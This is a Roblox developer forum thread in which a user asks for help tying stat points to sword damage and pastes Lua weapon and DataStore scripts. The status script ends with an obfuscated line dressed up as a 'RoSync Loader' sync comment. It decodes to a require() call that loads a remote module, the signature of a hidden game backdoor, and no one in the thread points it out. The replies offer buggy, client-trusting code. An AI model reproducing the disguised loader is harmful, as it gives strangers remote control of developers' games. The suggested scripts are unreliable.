I have a status script that increases strength when you increase a point, but it’s not counting on the sword
ServerScriptService[DATA]
https://prnt.sc/10amc9e
Sword is the name of the damage status https://prnt.sc/10amh25
[Weapon]
local Tool = script.Parent local Time = 0 local C0 = script.Parent.Combo.C0 local C1 = script.Parent.Combo.C1 local Debris = game:GetService("Debris") local players = game:GetService("Players") C0.OnServerEvent:Connect(function(plr,Part,d) Enable = true Time = 0 Part.Touched:Connect(function(hit) if Time == 0 and Enable == true then if hit.Parent:FindFirstChild("Humanoid") ~= nil and hit.Parent:WaitForChild("Humanoid").Health ~= 0 and not hit.Parent:FindFirstChild("AlreadyHit") then local Check = Instance.new("IntValue", hit.Parent) Check.Name = "AlreadyHit" game.Debris:AddItem(Check ,0.625) local vCharacter = Tool.Parent local vPlayer = game.Players:GetPlayerFromCharacter(vCharacter) local Humanoid = hit.Parent:WaitForChild("Humanoid") local sound = script.Hit:Clone() sound.Parent = hit.Parent sound:Play() TagHumanoid(Humanoid, vPlayer) Humanoid:TakeDamage(script.Parent.Damage.Value) wait(0.25) UntagHumanoid(Humanoid) end end end) end) C1.OnServerEvent:Connect(function(plr,Part,d) Enable = true Time = 0 Part.Touched:Connect(function(hit) if Time == 0 and Enable == true then if hit.Parent:FindFirstChild("Humanoid") ~= nil and hit.Parent:WaitForChild("Humanoid").Health ~= 0 and not hit.Parent:FindFirstChild("AlreadyHit") then local Check = Instance.new("IntValue", hit.Parent) Check.Name = "AlreadyHit" game.Debris:AddItem(Check ,0.625) local vCharacter = Tool.Parent local vPlayer = game.Players:GetPlayerFromCharacter(vCharacter) local Humanoid = hit.Parent:WaitForChild("Humanoid") local sound = script.Hit:Clone() sound.Parent = hit.Parent sound:Play() TagHumanoid(Humanoid, vPlayer) Humanoid:TakeDamage(script.Parent.Damage.Value) wait(0.25) UntagHumanoid(Humanoid) end end end) end) function TagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function UntagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end while wait(1) do Time = Time + 1 if Time == 0 then Time = 1 end end
I'm assuming you want the sword to do more damage with higher strength. On lines 24 and 47 there are Humanoid:TakeDamage() functions called, so you can just multiply the damage by strength:
Humanoid:TakeDamage(script.Parent.Damage.Value*strength)
it seems that if i explained it a little badly, i have a status script that with each point you increase, you get 5 more damage, i want to combine these statuses with the standard sword damage
[Status]
local DataStore = game:GetService("DataStoreService") local Level1 = DataStore:GetDataStore("Levels001") local Beli11 = DataStore:GetDataStore("Beli001") local Exp1 = DataStore:GetDataStore("Exp001") local ExpNeed1 = DataStore:GetDataStore("ExpNeed001") local DefenseP1 = DataStore:GetDataStore("DefenseP001") local SwordP1 = DataStore:GetDataStore("SwordP001") local LuckP1 = DataStore:GetDataStore("LuckP001") local SpecialP1 = DataStore:GetDataStore("Special001") local Defense1 = DataStore:GetDataStore("Defense001") local Sword1 = DataStore:GetDataStore("Sword001") local Luck1 = DataStore:GetDataStore("Luck001") local Special1 = DataStore:GetDataStore("Special001") local Points1 = DataStore:GetDataStore("Points001") game.Players.PlayerAdded:Connect(function(Plr) local stats = Instance.new("Folder", Plr) stats.Name = "Data" --- Level System local Levels = Instance.new("IntValue", stats) Levels.Name = "Levels" Levels.Value = 1 local Exp = Instance.new("IntValue", stats) Exp.Name = "Exp" Exp.Value = 0 local ExpNeed = Instance.new("IntValue", stats) ExpNeed.Name = "ExpNeed" ExpNeed.Value = 200 --- Money System local Beli = Instance.new("IntValue", stats) Beli.Name = "Gold" Beli.Value = 0 --- Stats Text local DefenseP = Instance.new("IntValue", stats) DefenseP.Name = "DefenseP" DefenseP.Value = 1 local SwordP = Instance.new("IntValue", stats) SwordP.Name = "SwordP" SwordP.Value = 1 local LuckP = Instance.new("IntValue", stats) LuckP.Name = "LuckP" LuckP.Value = 1 local SpecialP = Instance.new("IntValue", stats) SpecialP.Name = "SpecialP" SpecialP.Value = 1 --- Stats System local Points = Instance.new("IntValue", stats) Points.Name = "Points" Points.Value = 0 local PointsS = Instance.new("IntValue", stats) PointsS.Name = "PointsS" PointsS.Value = 1 local Defense = Instance.new("IntValue", stats) Defense.Name = "Defense" Defense.Value = 0 local Sword = Instance.new("IntValue", stats) Sword.Name = "Sword" Sword.Value = 0 local Luck = Instance.new("IntValue", stats) Luck.Name = "Luck" Luck.Value = 0 local Special = Instance.new("IntValue", stats) Special.Name = "Special" Special.Value = 0 ---- Datastore ---- --- Levels Levels.Value = Level1:GetAsync(Plr.UserId) or Levels.Value Level1:SetAsync(Plr.UserId, Levels.Value) Levels.Changed:connect(function() Level1:SetAsync(Plr.UserId, Levels.Value) end) --- Gold Beli.Value = Beli11:GetAsync(Plr.UserId) or Beli.Value Beli11:SetAsync(Plr.UserId, Beli.Value) Beli.Changed:connect(function() Beli11:SetAsync(Plr.UserId, Beli.Value) end) --- Exp Exp.Value = Exp1:GetAsync(Plr.UserId) or Exp.Value Exp1:SetAsync(Plr.UserId, Exp.Value) Exp.Changed:connect(function() Exp1:SetAsync(Plr.UserId, Exp.Value) end) --- ExpNeed ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) ExpNeed.Changed:connect(function() ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) end) --- SwordP SwordP.Value = SwordP1:GetAsync(Plr.UserId) or SwordP.Value SwordP1:SetAsync(Plr.UserId, SwordP.Value) SwordP.Changed:connect(function() SwordP1:SetAsync(Plr.UserId, SwordP.Value) end) --- DefenseP DefenseP.Value = DefenseP1:GetAsync(Plr.UserId) or DefenseP.Value DefenseP1:SetAsync(Plr.UserId, DefenseP.Value) DefenseP.Changed:connect(function() DefenseP1:SetAsync(Plr.UserId, DefenseP.Value) end) --- LuckP ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) ExpNeed.Changed:connect(function() ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) end) --- SpecialP ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) ExpNeed.Changed:connect(function() ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value) end) --- Sword Sword.Value = Sword1:GetAsync(Plr.UserId) or Sword.Value Sword1:SetAsync(Plr.UserId, SwordP.Value) Sword.Changed:connect(function() Sword1:SetAsync(Plr.UserId, SwordP.Value) end) --- Defense Defense.Value = Defense1:GetAsync(Plr.UserId) or Defense.Value Defense1:SetAsync(Plr.UserId, Defense.Value) Defense.Changed:connect(function() Defense1:SetAsync(Plr.UserId, Defense.Value) end) --- Luck Luck.Value = Luck1:GetAsync(Plr.UserId) or Luck.Value Luck1:SetAsync(Plr.UserId, Luck.Value) Luck.Changed:connect(function() Luck1:SetAsync(Plr.UserId, Luck.Value) end) --- Special Special.Value = Special1:GetAsync(Plr.UserId) or Special.Value Special1:SetAsync(Plr.UserId, Special.Value) Special.Changed:connect(function() Special1:SetAsync(Plr.UserId, Special.Value) end) --- Points Points.Value = Points1:GetAsync(Plr.UserId) or Points.Value Points1:SetAsync(Plr.UserId, Points.Value) Points.Changed:connect(function() Points1:SetAsync(Plr.UserId, Points.Value) end) end) game.Players.PlayerAdded:Connect(function(plr) wait(.1) local Exp = plr.Data.Exp local Levels = plr.Data.Levels local ExpNeed = plr.Data.ExpNeed local Points = plr.Data.Points while wait() do if Exp.Value >= (100 * (Levels.Value + 1)) and Levels.Value <= 399 then Levels.Value = Levels.Value + 1 Points.Value = Points.Value + 3 Exp.Value = Exp.Value - ExpNeed.Value ExpNeed.Value = ExpNeed.Value + 100 game.ReplicatedStorage.LevelSystem.LevelUpGui:FireClient(plr) end end end) game.Players.PlayerRemoving:connect(function(Player) Level1:SetAsync(Player.UserId, Player.Data.Levels.Value) Beli11:SetAsync(Player.UserId, Player.Data.Beli.Value) Exp1:SetAsync(Player.UserId, Player.Data.Exp.Value) ExpNeed1:SetAsync(Player.UserId, Player.Data.ExpNeed.Value) SwordP1:SetAsync(Player.UserId, Player.Data.SwordP.Value) DefenseP1:SetAsync(Player.UserId, Player.Data.DefenseP.Value) LuckP1:SetAsync(Player.UserId, Player.Data.LuckP.Value) SpecialP1:SetAsync(Player.UserId, Player.Data.SpecialP.Value) Sword1:SetAsync(Player.UserId, Player.Data.Sword.Value) Defense1:SetAsync(Player.UserId, Player.Data.Defense.Value) Luck1:SetAsync(Player.UserId, Player.Data.Luck.Value) Special1:SetAsync(Player.UserId, Player.Data.Special.Value) Points1:SetAsync(Player.UserId, Player.Data.Points.Value) end) --[[ Last synced 2/26/2021 04:22 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722817988) --[[ ]]--
I havent try it but you can try this script!
Put the script to the Damage
Script:
while wait() do script.Parent.Value = script.Parent.Value + game.Players.LocalPlayer.Data.Sword.Value*5 end
If you want to make a button that make you stronger its simple!
Put this script to a Button
Script:
local Amount = 10 --Amount of Point You Will Give to Sword script.Parent.MouseButton1Click:Connect(function() game.Players.LocalPlayer.Data.Sword.Value = game.Players.LocalPlayer.Data.Sword.Value + Amount end)
Hope It Helps!